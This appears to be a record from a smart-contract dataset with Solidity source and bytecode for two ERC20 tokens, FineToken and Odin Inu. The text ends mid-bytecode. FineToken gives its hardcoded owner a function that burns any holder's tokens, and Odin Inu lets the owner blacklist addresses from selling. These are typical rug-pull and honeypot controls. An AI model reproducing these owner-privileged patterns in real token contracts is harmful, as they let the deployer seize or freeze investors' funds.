if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = 0x70F0c1F59df391f00aAc7e736862F0eb13C9A01c;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FineToken is IERC20, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_decimals = 18;
_totalSupply = 100000000 * uint(10) ** _decimals;
_name = "FineToken";
_symbol = "FINE";
_balances[owner()] = _totalSupply;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burn(address account, uint256 amount) external onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance.sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d71461045a578063a9059cbb146104be578063dd62ed3e14610522578063f2fde38b1461059a576100ea565b806370a082311461034b5780638da5cb5b146103a357806395d89b41146103d7576100ea565b806323b872dd116100c857806323b872dd146101f4578063313ce5671461027857806339509351146102995780636161eb18146102fd576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d6575b600080fd5b6100f76105de565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610680565b60405180821515815260200191505060405180910390f35b6101de610697565b6040518082815260200191505060405180910390f35b6102606004803603606081101561020a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106a1565b60405180821515815260200191505060405180910390f35b61028061076c565b604051808260ff16815260200191505060405180910390f35b6102e5600480360360408110156102af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610783565b60405180821515815260200191505060405180910390f35b6103496004803603604081101561031357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610828565b005b61038d6004803603602081101561036157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae8565b6040518082815260200191505060405180910390f35b6103ab610b31565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103df610b5a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041f578082015181840152602081019050610404565b50505050905090810190601f16801561044c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a66004803603604081101561047057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bfc565b60405180821515815260200191505060405180910390f35b61050a600480360360408110156104d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cbb565b60405180821515815260200191505060405180910390f35b6105846004803603604081101561053857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cd2565b6040518082815260200191505060405180910390f35b6105dc600480360360208110156105b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d59565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106765780601f1061064b57610100808354040283529160200191610676565b820191906000526020600020905b81548152906001019060200180831161065957829003601f168201915b5050505050905090565b600061068d338484610f5d565b6001905092915050565b6000600354905090565b60006106ae848484611154565b610761843361075c8560405180606001604052806028815260200161165460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140e9092919063ffffffff16565b610f5d565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061081e338461081985600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b610f5d565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561096f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061167c6021913960400191505060405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806115c46022913960400191505060405180910390fd5b610a1f828261155690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a778260035461155690919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bf25780601f10610bc757610100808354040283529160200191610bf2565b820191906000526020600020905b815481529060010190602001808311610bd557829003601f168201915b5050505050905090565b6000610cb13384610cac856040518060600160405280602581526020016116e660259139600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140e9092919063ffffffff16565b610f5d565b6001905092915050565b6000610cc8338484611154565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ea0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806115e66026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806116c26024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611069576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061160c6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061169d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611260576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806115a16023913960400191505060405180910390fd5b6112cc8160405180606001604052806026815260200161162e60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140e9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ce90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906114bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611480578082015181840152602081019050611465565b50505050905090810190601f1680156114ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561154c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061159883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061140e565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220926819eb52191145644409c18b2f8c6aa833dec673d6fad7d3f069f9d71da5b664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,035 |
0xc6c3bf1fe5a5027c535c7f801e59a9cc248d8df3
|
// SPDX-License-Identifier: Unlicensed
// The norse God Odin is well known as a great shape shifter, this time he decided to visit Midgard in form of the most famouse crypto dog breed Shiba Inu and he wants to be known as Odin Inu.
// Webstite: https://odininu.xyz/
// Telegram: https://t.me/odininu
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract odinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 500000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private maxAmountTransfer = _tTotal;
uint256 private maxWallet = _tTotal;
uint256 private redistribution;
uint256 private tax;
uint256 private ethTax;
uint256 private redisTax;
address payable private devWallet;
address payable private teamWallet;
string private constant _name = "Odin Inu";
string private constant _symbol = "Odin";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1,address payable _add2) {
require(_add1 != address(0));
require(_add2 != address(0));
devWallet = _add1;
teamWallet = _add2;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[devWallet] = true;
emit Transfer(address(0), devWallet, _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function uniswapPair() public view returns (address) {
return uniswapV2Pair;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if(!(_isExcludedFromFee[from] || _isExcludedFromFee[to])){
if(to != uniswapV2Pair){
if(balanceOf(to)+ ((amount *(100- tax))/100) > maxWallet){
revert("Max Wallet exceeded");
}
}
if (from != address(this)) {
require(amount <= maxAmountTransfer);
redistribution = redisTax;
tax = ethTax;
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > _tTotal/1000){
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
teamWallet.transfer(amount/2);
devWallet.transfer(amount/2);
}
function liftMaxTrnx() external onlyOwner{
maxAmountTransfer = _tTotal;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
ethTax = 10;
redisTax = 1;
maxAmountTransfer = _tTotal/100;
maxWallet = _tTotal/50;
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklist(address _address) external onlyOwner{
bots[_address] = true;
}
function whiteList(address notbot) external onlyOwner{
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == devWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == devWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, redistribution, tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063c3c8cd8011610064578063c3c8cd8014610318578063c816841b1461032d578063c9567bf91461034b578063dd62ed3e14610360578063f9f92be4146103a657600080fd5b806370a0823114610264578063715018a6146102845780638da5cb5b1461029957806395d89b41146102cb578063a9059cbb146102f857600080fd5b8063313ce567116100e7578063313ce567146101dc57806335ffbc47146101f8578063372c12b11461020f5780635932ead11461022f5780636fc3eaec1461024f57600080fd5b806306fdde0314610124578063095ea7b31461016757806318160ddd1461019757806323b872dd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260088152674f64696e20496e7560c01b60208201525b60405161015e9190611484565b60405180910390f35b34801561017357600080fd5b506101876101823660046114ee565b6103c6565b604051901515815260200161015e565b3480156101a357600080fd5b506706f05b59d3b200005b60405190815260200161015e565b3480156101c857600080fd5b506101876101d736600461151a565b6103dd565b3480156101e857600080fd5b506040516009815260200161015e565b34801561020457600080fd5b5061020d610446565b005b34801561021b57600080fd5b5061020d61022a36600461155b565b610487565b34801561023b57600080fd5b5061020d61024a366004611586565b6104d2565b34801561025b57600080fd5b5061020d61051a565b34801561027057600080fd5b506101ae61027f36600461155b565b610547565b34801561029057600080fd5b5061020d610569565b3480156102a557600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161015e565b3480156102d757600080fd5b5060408051808201909152600481526327b234b760e11b6020820152610151565b34801561030457600080fd5b506101876103133660046114ee565b6105dd565b34801561032457600080fd5b5061020d6105ea565b34801561033957600080fd5b506013546001600160a01b03166102b3565b34801561035757600080fd5b5061020d610620565b34801561036c57600080fd5b506101ae61037b3660046115a3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103b257600080fd5b5061020d6103c136600461155b565b6109c5565b60006103d3338484610a13565b5060015b92915050565b60006103ea848484610b37565b61043c843361043785604051806060016040528060288152602001611787602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d62565b610a13565b5060019392505050565b6000546001600160a01b031633146104795760405162461bcd60e51b8152600401610470906115dc565b60405180910390fd5b6706f05b59d3b20000600a55565b6000546001600160a01b031633146104b15760405162461bcd60e51b8152600401610470906115dc565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104fc5760405162461bcd60e51b8152600401610470906115dc565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b0316336001600160a01b03161461053a57600080fd5b4761054481610d9c565b50565b6001600160a01b0381166000908152600260205260408120546103d790610e21565b6000546001600160a01b031633146105935760405162461bcd60e51b8152600401610470906115dc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103d3338484610b37565b6010546001600160a01b0316336001600160a01b03161461060a57600080fd5b600061061530610547565b905061054481610ea5565b6000546001600160a01b0316331461064a5760405162461bcd60e51b8152600401610470906115dc565b601354600160a01b900460ff16156106a45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610470565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106e030826706f05b59d3b20000610a13565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107429190611611565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561078f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b39190611611565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610800573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108249190611611565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d719473061085481610547565b6000806108696000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f6919061162e565b5050600a600e55506001600f5561091660646706f05b59d3b20000611672565b600a5561092c60326706f05b59d3b20000611672565b600b556013805463ffff00ff60a01b198116630101000160a01b1790915560125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c19190611694565b5050565b6000546001600160a01b031633146109ef5760405162461bcd60e51b8152600401610470906115dc565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610470565b6001600160a01b038216610ad65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610470565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b995760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610470565b6001600160a01b03831660009081526006602052604090205460ff1615610bbf57600080fd5b6001600160a01b03831660009081526005602052604090205460ff1680610bfe57506001600160a01b03821660009081526005602052604090205460ff165b610d52576013546001600160a01b03838116911614610c9657600b546064600d546064610c2b91906116b1565b610c3590846116c8565b610c3f9190611672565b610c4884610547565b610c5291906116e7565b1115610c965760405162461bcd60e51b815260206004820152601360248201527213585e0815d85b1b195d08195e18d959591959606a1b6044820152606401610470565b6001600160a01b0383163014610d5257600a54811115610cb557600080fd5b600f54600c55600e54600d556000610ccc30610547565b9050610ce26103e86706f05b59d3b20000611672565b811115610d5057601354600160